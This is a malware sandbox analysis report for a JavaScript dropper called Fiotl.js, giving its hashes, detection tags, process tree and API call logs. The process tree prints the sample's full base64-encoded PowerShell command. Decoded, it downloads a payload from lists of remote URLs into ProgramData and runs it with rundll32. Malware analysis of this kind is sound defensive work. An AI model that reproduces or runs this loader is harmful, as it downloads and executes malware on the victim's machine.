popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Fiotl.js

Generic Malware Antivirus Hide_URL AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 21, 2023, 7:04 a.m. June 21, 2023, 7:06 a.m.
Size 489.1KB
Type UTF-8 Unicode text, with very long lines, with CRLF line terminators
MD5 90b22d872e0b2efe9678cc6327cda156
SHA256 b3b844dd084926c0961d39d7be1a40aff683b7a6bcf44691ff4ecd8c4b55903e
CRC32 71A7E2E6
ssdeep 6144:9zr2tLuoE1y4V/gZAdGAdwEMudmk3zLe/RB2KZEHX6KRNFkbhmFpviXYzf3mszNM:9zr2tLuoE1y4V/gZAdGAd4wVM
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Fiotl.js

    2576

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAYQBuAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAGcAQQBNAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBADUAQQBEAEEAQQAiADsAJABzAHQAdQBmAGYAaQBuAGUAcwBzAFAAYQByAGIAbwBpAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATgBnAEEAeABBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAPQBOAFQAdABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAG8AQQBHADgAQQBZAFEAQgA0AEEARwBVAEEAWgBBAEIASQBBAEcAOABBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQQB1AEEARwBNAEEAYgBnAEEAPQAiADsAJABDAG8AbABpAGMAawBlAHIASABhAGUAbQBhAHQAbwBtAGEAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGEAUQBCAGwAQQBIAEkAQQBiAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEcAZwBBAGEAUQBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARwBNAEEAYgB3AEIAdgBBAEcAdwBBAEwAdwBCAFgAQQBIAG8AQQBjAEEAQgBtAEEARQBnAEEATAB3AEIAdwBBAEcANABBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQB3AEIAbABBAEgAQQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAUwBBAEgAVQBBAGMAdwBCAG8AQQBHAEkAQQBkAFEAQgB6AEEARwBnAEEATABnAEIAagBBAEcAOABBAEwAdwBCADIAQQBFAEkAQQBWAHcAQgBhAEEAQwA4AEEAZABnAEIATABBAEgAWQBBAE4AdwBCADYAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAFYAQQBEAFEAQQBlAEEAQQAwAEEARABnAEEAVAB3AEIAdwBBAEYAbwBBAFoAZwBCAHQAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAGMAdwBBADAAQQBIAG8AQQBTAFEAQgB4AEEARABJAEEAWQBRAEIAaABBAEgAZwBBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBHADQAQQBkAHcAQQAwAEEARQB3AEEAZABBAEEAdgBBAEgAYwBBAFUAUQBCAEoAQQBIAEkAQQBkAGcAQQA9ACIAOwAkAGEAdAB0AG8AcgBuAGUAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHcAQQBHAFUAQQBjAGcAQgBsAEEASABJAEEAUwBBAEIAdgBBAEcANABBAGIAdwBCADEAQQBIAEkAQQBjAHcAQQB1AEEASABjAEEAYgB3AEIAeQBBAEcAcwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGUAcwB0AHIAdQBhAGwAIABpAG4AIAAkAEMAbwBsAGkAYwBrAGUAcgBIAGEAZQBtAGEAdABvAG0AYQBzACAALQBzAHAAbABpAHQAIAAiAEkAIgApACAAewAkAGsAaABlAGQAYQBoAEIAYQByAGIAaQB0AHUAcgBhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AUQBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMwBBAEQAZwBBAEwAZwBBADUAQQBEAEkAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGEAUQBCADAAQQBIAFEAQQBiAHcAQgBsAEEASABNAEEATABnAEIAdwBBAEcAawBBAFkAdwBCAHoAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBRAEEAeQBBAEQAawBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9ACIAOwAkAFMAdQBiAHAAaABhAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADAAQQBBAD0APQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEcARQBBAGIAUQBCAHcAQQBIAE0AQQBhAFEAQgAwAEEARwBVAEEAYwB3AEIARgBBAEgAWQBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbQBBAEcAOABBAGQAUQBCAHUAQQBHAFEAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9ACIAOwAkAHMAYwBpAG8AbABpAHMAbQBSAGUAZQBqAGUAYwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB4AEEASABVAEEAYQBRAEIAMABBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAdAByAHkAIAB7ACQAUgBvAGEAZABzAHQAZQBhAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQAwAEEARABrAEEAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHkAQQBEAE0AQQBNAEEAQQB1AEEARABFAEEATQB3AEEAeQBBAEEAPQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWQBRAEIAeQBBAEcARQBBAGIAQQBCAHYAQQBHAGMAQQBhAFEAQgBqAEEARwBrAEEAWQBRAEIAdQBBAEMANABBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAGcAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBBAD0APQAiADsAJABrAGkAbABsAGQAZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABnAEEATABnAEEAeABBAEQASQBBAE8AUQBBAD0AIgA7ACQAcwBwAG8AdQB0AGUAcgBzAEgAZQBzAHMAaQBhAG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAGIAQQBCAHYAQQBIAEEAQQBjAEEAQgBwAEEARwA0AEEAWgB3AEIASwBBAEcAVQBBAFoAUQBCADMAQQBHAGcAQQBhAFEAQgBzAEEARwB3AEEAYQBRAEIAcgBBAEcAVQBBAGIAZwBCAHoAQQBDADQAQQBaAEEAQgBwAEEARwBFAEEAYgBRAEIAdgBBAEcANABBAFoAQQBCAHoAQQBBAD0APQBsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwBFAEEAZQBBAEIAcABBAEcANABBAFoAdwBCAEoAQQBHADQAQQBkAEEAQgBsAEEASABJAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AIgA7ACQATwBiAHMAbwBsAGUAcwBjAGUAZAAgAD0AIAAkAGUAcwB0AHIAdQBhAGwAOwAkAHMAbABhAHQAaQBuAGcAcwAgAD0AIAAiAFoAQQBCADEAQQBIAE0AQQBkAEEAQgB2AEEASABVAEEAYwBnAEEAdQBBAEcAUQBBAGIAQQBCAHMAQQBBAD0APQAiADsAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE8AYgBzAG8AbABlAHMAYwBlAGQAKQApADsAJABpAG0AbQBlAHIAZwBlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABzAGwAYQB0AGkAbgBnAHMAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAaQBtAG0AZQByAGcAZQBuAHQAOwAkAFIAbwBhAGQAcwB0AGUAYQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMABBAEQAawBBAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMQBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdQBBAEQARQBBAE0AdwBBAHkAQQBBAD0APQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAHkAQQBHAEUAQQBiAEEAQgB2AEEARwBjAEEAYQBRAEIAagBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAWgBRAEEAPQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQAzAEEARABnAEEATABnAEEAeQBBAEQATQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQQA9AD0AIgA7ACQAawBpAGwAbABkAGUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9ACIAOwAkAHMAcABvAHUAdABlAHIAcwBIAGUAcwBzAGkAYQBuAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBiAEEAQgB2AEEASABBAEEAYwBBAEIAcABBAEcANABBAFoAdwBCAEsAQQBHAFUAQQBaAFEAQgAzAEEARwBnAEEAYQBRAEIAcwBBAEcAdwBBAGEAUQBCAHIAQQBHAFUAQQBiAGcAQgB6AEEAQwA0AEEAWgBBAEIAcABBAEcARQBBAGIAUQBCAHYAQQBHADQAQQBaAEEAQgB6AEEAQQA9AD0AbABPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcARQBBAGUAQQBCAHAAQQBHADQAQQBaAHcAQgBKAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAQQBCAHYAQQBHAE0AQQBZAFEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGEAUQBCAG0AQQBIAFEAQQBjAHcAQQA9ACIAOwAkAFIAZQB2AGkAdgBhAGwAaQBzAG0AIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABpAG0AbQBlAHIAZwBlAG4AdAApAC4ATABlAG4AZwB0AGgAOwAkAFIAZQBiAGwAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBlAFEAQgB3AEEARwA4AEEAWQBRAEIAcwBBAEcAOABBAGIAZwBCAGwAQQBHADAAQQBhAFEAQgBoAEEARgBJAEEAWgBRAEIAMgBBAEcAOABBAGIAQQBCADEAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAVQBBAFoAQQBBAHUAQQBIAE0AQQBaAFEAQQA9AE0ASQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADAAQQBIAEkAQQBiAHcAQgBzAEEARwBrAEEAZABBAEIAbABBAEUATQBBAFkAUQBCAHoAQQBHAEUAQQBiAFEAQgBoAEEASABJAEEAWQB3AEIAaABBAEMANABBAGUAUQBCAHYAQQBHAHMAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAaABBAEEAPQA9ACIAOwAkAFMAdABlAG4AaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATgBBAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQBRAEEAPQBCAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAYQBRAEIANgBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBNAEEAYgBBAEIAdgBBAEgAUQBBAGEAQQBCAHAAQQBHADQAQQBaAHcAQQA9AEIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAE0AQQBNAHcAQQB1AEEARABVAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAGcAQQB4AEEARABnAEEAQgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEgAVQBBAGIAZwBCAHUAQQBHAGsAQQBiAGcAQgBuAEEASABNAEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAUwBwAGUAYwB0AHIAbwBwAGgAbwB0AG8AbQBlAHQAcgBpAGMAUgBlAGEAbABsAG8AdABtAGUAbgB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBFAEEAZABRAEIAaABBAEcAcwBBAFoAUQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAYwBnAEIAbABBAEcASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBNAEEAYgB3AEIAcwBBAEcAdwBBAFoAUQBCAG4AQQBHAFUAQQBWAGgAYQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcATQBBAFkAdwBCAHYAQQBIAGsAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAagBBAEcATQBBAFYAaABhAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAMABBAEcAZwBBAFoAUQBCAHMAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAegBBAEcAMABBAFUAdwBCAGgAQQBHADQAQQBkAEEAQgBwAEEARwBrAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwBpAGYAIAAoACQAUgBlAHYAaQB2AGEAbABpAHMAbQAgAC0AZwBlACAAOQAyADQAMgA5ACkAewAkAG0AZQByAGwAbwBuAHMARABhAGMAdAB5AGwAaQBvAGcAbAB5AHAAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBADMAQQBEAEUAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AdwBBAHUAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQA9AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWQBRAEIAawBBAEcAawBBAGIAdwBCADAAQQBHAFUAQQBiAEEAQgBsAEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEMAQQBHADgAQQBjAGcAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcAdwBBAGIAdwBCAHMAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9ACIAOwAkAGYAcgB1AGkAdAB3AG8AbQBlAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABJAEEATQBRAEEAMgBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMgBBAEMANABBAE8AQQBBADIAQQBDADQAQQBNAGcAQQB5AEEARABFAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAD0AcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAPQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAGsAQQBHAGsAQQBjAEEAQgBzAEEARwA4AEEAYwB3AEIAdwBBAEcAOABBAGIAZwBCAGsAQQBIAGsAQQBiAEEAQgBwAEEARwBNAEEAUwBRAEIAdABBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBaAFEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFkAUQBCAG0AQQBHAFkAQQBiAEEAQgAxAEEASABnAEEAWgBRAEIAegBBAEUATQBBAFkAUQBCADEAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYgB3AEIAegBBAEMASQBBAE8AdwBBAGsAQQBHAFkAQQBiAHcAQgB5AEEASABJAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwBJAEEAYgB3AEIAMABBAEcAOABBAGIAZwBCAGwAQQBHAFUAQQBJAGcAQQA3AEEAQwBRAEEAZAB3AEIAcABBAEcATQBBAGEAdwBCAGwAQQBIAEkAQQBZAGcAQgA1AEEARQBZAEEAYwBnAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBhAFEAQgBrAEEARwBFAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBIAEkAQQBhAEEAQgBwAEEARwA0AEEAYgB3AEIAaQBBAEcARQBBAGQAQQBCADEAQQBIAE0AQQBJAGcAQQA3AEEAQwBRAEEAYwBBAEIAegBBAEgAawBBAFkAdwBCAG8AQQBHADgAQQBjAHcAQgB2AEEARwAwAEEAWQBRAEIAMABBAEcAawBBAFkAdwBCAFcAQQBIAFUAQQBiAEEAQgBuAEEARwBFAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAUwBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAE0AQQBiAHcAQgB5AEEASABJAEEAWgBRAEIAcwBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBDAEEARwBVAEEAYgBnAEIAagBBAEcAZwBBAGQAdwBCAGgAQQBIAEkAQQBiAFEAQgBsAEEASABJAEEASQBnAEEANwBBAEcATQBBAGIAUQBCAGsAQQBDAEEAQQBMAHcAQgBqAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAEEAQgAxAEEASABNAEEAZABBAEIAdgBBAEgAVQBBAGMAZwBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQwB3AEEAYgBRAEIAdgBBAEgASQBBAFoAUQBBADcAQQBDAFEAQQBVAEEAQgA1AEEARwB3AEEAYgB3AEIAeQBBAEcAawBBAGMAdwBCADAAQQBHAFUAQQBiAGcAQgB2AEEASABNAEEAYQBRAEIAegBBAEYAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgB2AEEARwA0AEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCADEAQQBHADQAQQBjAHcAQgBsAEEASABJAEEAWgBnAEIAcwBBAEcAawBBAGEAdwBCAGwAQQBDAEkAQQBPAHcAQQBrAEEARwBNAEEAYgB3AEIAdQBBAEcAawBBAFoAZwBCAGwAQQBIAEkAQQBiAHcAQgAxAEEASABNAEEAUQBRAEIAeQBBAEcAYwBBAGQAUQBCAG0AQQBHAGsAQQBaAFEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFUAQQBCAHoAQQBIAGsAQQBiAEEAQgBzAEEARwBrAEEAZABRAEIAdABBAEUAVQBBAFkAdwBCAHcAQQBHAGcAQQBiAHcAQgB5AEEARwBrAEEAZQBnAEIAbABBAEMASQBBAE8AdwBBAD0AIgA7ACQAVQBuAGQAZQByAHYAZQBuAHQAaQBsAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBkAGcAQgBwAEEARwBRAEEAWgBRAEIAdgBBAEMANABBAGQAUQBCAHIAQQBBAD0APQBJAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBsAEEASABnAEEAYwBBAEIAdgBBAEgATQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEASABZAEEAWgBRAEIAbgBBAEcARQBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="

      2672

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0660
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0be0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0de0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004d0620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
